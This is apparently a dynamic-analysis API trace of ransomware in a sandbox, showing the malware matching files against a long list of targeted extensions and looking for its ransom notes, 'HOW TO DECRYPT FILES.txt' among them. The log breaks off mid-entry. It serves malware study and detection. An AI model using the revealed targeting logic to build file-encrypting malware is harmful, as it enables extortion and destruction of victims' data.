[0091.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.lay6") returned 0 [0091.007] lstrlenA (lpString="*.lay6") returned 6 [0091.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mpeg") returned 0 [0091.007] lstrlenA (lpString="*.mpeg") returned 6 [0091.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.djvu") returned 0 [0091.007] lstrlenA (lpString="*.djvu") returned 6 [0091.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.tiff") returned 0 [0091.008] lstrlenA (lpString="*.tiff") returned 6 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.backup") returned 0 [0091.008] lstrlenA (lpString="*.backup") returned 8 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.pdf") returned 0 [0091.008] lstrlenA (lpString="*.pdf") returned 5 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.cert") returned 0 [0091.008] lstrlenA (lpString="*.cert") returned 6 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.docm") returned 0 [0091.008] lstrlenA (lpString="*.docm") returned 6 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.xlsm") returned 0 [0091.008] lstrlenA (lpString="*.xlsm") returned 6 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.dwg") returned 0 [0091.008] lstrlenA (lpString="*.dwg") returned 5 [0091.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.nd") returned 0 [0091.008] lstrlenA (lpString="*.nd") returned 4 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.tlg") returned 0 [0091.009] lstrlenA (lpString="*.tlg") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.lgb") returned 0 [0091.009] lstrlenA (lpString="*.lgb") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mov") returned 0 [0091.009] lstrlenA (lpString="*.mov") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.xdw") returned 0 [0091.009] lstrlenA (lpString="*.xdw") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.ods") returned 0 [0091.009] lstrlenA (lpString="*.ods") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.wav") returned 0 [0091.009] lstrlenA (lpString="*.wav") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.mp3") returned 0 [0091.009] lstrlenA (lpString="*.mp3") returned 5 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.aiff") returned 0 [0091.009] lstrlenA (lpString="*.aiff") returned 6 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.flac") returned 0 [0091.009] lstrlenA (lpString="*.flac") returned 6 [0091.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.m4a") returned 0 [0091.009] lstrlenA (lpString="*.m4a") returned 5 [0091.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif", pszSpec="*.csv") returned 0 [0091.010] lstrlenA (lpString="*.csv") returned 5 [0091.010] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6e84d0, ftCreationTime.dwHighDateTime=0x1d5d9ea, ftLastAccessTime.dwLowDateTime=0xb1838970, ftLastAccessTime.dwHighDateTime=0x1d5dea7, ftLastWriteTime.dwLowDateTime=0xb1838970, ftLastWriteTime.dwHighDateTime=0x1d5dea7, nFileSizeHigh=0x0, nFileSizeLow=0x145eb, dwReserved0=0x4d006c, dwReserved1=0x5c0039, cFileName="RZbn-AM.bmp", cAlternateFileName="")) returned 1 [0091.010] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0091.010] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RZbn-AM.bmp") returned -1 [0091.010] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RZbn-AM.bmp") returned -1 [0091.010] lstrcmpiA (lpString1="", lpString2="RZbn-AM.bmp") returned -1 [0091.010] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\N5FshQ7.gif") returned="N5FshQ7.gif" [0091.010] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" [0091.010] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="" [0091.010] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" [0091.010] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\how to decrypt files.txt")) returned 0x20 [0091.010] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="RZbn-AM.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp" [0091.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.ems") returned 0 [0091.010] lstrlenA (lpString="*.ems") returned 5 [0091.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.db") returned 0 [0091.010] lstrlenA (lpString="*.db") returned 4 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.dbf") returned 0 [0091.011] lstrlenA (lpString="*.dbf") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.myox") returned 0 [0091.011] lstrlenA (lpString="*.myox") returned 6 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.myo") returned 0 [0091.011] lstrlenA (lpString="*.myo") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qbw") returned 0 [0091.011] lstrlenA (lpString="*.qbw") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qbb") returned 0 [0091.011] lstrlenA (lpString="*.qbb") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qbm") returned 0 [0091.011] lstrlenA (lpString="*.qbm") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qbo") returned 0 [0091.011] lstrlenA (lpString="*.qbo") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qbx") returned 0 [0091.011] lstrlenA (lpString="*.qbx") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qba") returned 0 [0091.011] lstrlenA (lpString="*.qba") returned 5 [0091.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qby") returned 0 [0091.011] lstrlenA (lpString="*.qby") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qbj") returned 0 [0091.012] lstrlenA (lpString="*.qbj") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.ofx") returned 0 [0091.012] lstrlenA (lpString="*.ofx") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.qif") returned 0 [0091.012] lstrlenA (lpString="*.qif") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mye") returned 0 [0091.012] lstrlenA (lpString="*.mye") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mbox") returned 0 [0091.012] lstrlenA (lpString="*.mbox") returned 6 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.eml") returned 0 [0091.012] lstrlenA (lpString="*.eml") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.pst") returned 0 [0091.012] lstrlenA (lpString="*.pst") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.ost") returned 0 [0091.012] lstrlenA (lpString="*.ost") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.idx") returned 0 [0091.012] lstrlenA (lpString="*.idx") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.dbx") returned 0 [0091.012] lstrlenA (lpString="*.dbx") returned 5 [0091.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.sql") returned 0 [0091.012] lstrlenA (lpString="*.sql") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mdb") returned 0 [0091.013] lstrlenA (lpString="*.mdb") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.fdb") returned 0 [0091.013] lstrlenA (lpString="*.fdb") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.wab") returned 0 [0091.013] lstrlenA (lpString="*.wab") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.dat") returned 0 [0091.013] lstrlenA (lpString="*.dat") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.txt") returned 0 [0091.013] lstrlenA (lpString="*.txt") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.jpeg") returned 0 [0091.013] lstrlenA (lpString="*.jpeg") returned 6 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.jpg") returned 0 [0091.013] lstrlenA (lpString="*.jpg") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.png") returned 0 [0091.013] lstrlenA (lpString="*.png") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.php") returned 0 [0091.013] lstrlenA (lpString="*.php") returned 5 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.cs") returned 0 [0091.013] lstrlenA (lpString="*.cs") returned 4 [0091.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.cpp") returned 0 [0091.013] lstrlenA (lpString="*.cpp") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.rar") returned 0 [0091.014] lstrlenA (lpString="*.rar") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.zip") returned 0 [0091.014] lstrlenA (lpString="*.zip") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.html") returned 0 [0091.014] lstrlenA (lpString="*.html") returned 6 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.htm") returned 0 [0091.014] lstrlenA (lpString="*.htm") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.xlsx") returned 0 [0091.014] lstrlenA (lpString="*.xlsx") returned 6 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.xls") returned 0 [0091.014] lstrlenA (lpString="*.xls") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mp4") returned 0 [0091.014] lstrlenA (lpString="*.mp4") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.ppt") returned 0 [0091.014] lstrlenA (lpString="*.ppt") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.pptx") returned 0 [0091.014] lstrlenA (lpString="*.pptx") returned 6 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.doc") returned 0 [0091.014] lstrlenA (lpString="*.doc") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.dot") returned 0 [0091.014] lstrlenA (lpString="*.dot") returned 5 [0091.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.docx") returned 0 [0091.014] lstrlenA (lpString="*.docx") returned 6 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.7z") returned 0 [0091.015] lstrlenA (lpString="*.7z") returned 4 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.tar") returned 0 [0091.015] lstrlenA (lpString="*.tar") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.bz2") returned 0 [0091.015] lstrlenA (lpString="*.bz2") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.gz") returned 0 [0091.015] lstrlenA (lpString="*.gz") returned 4 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mkv") returned 0 [0091.015] lstrlenA (lpString="*.mkv") returned 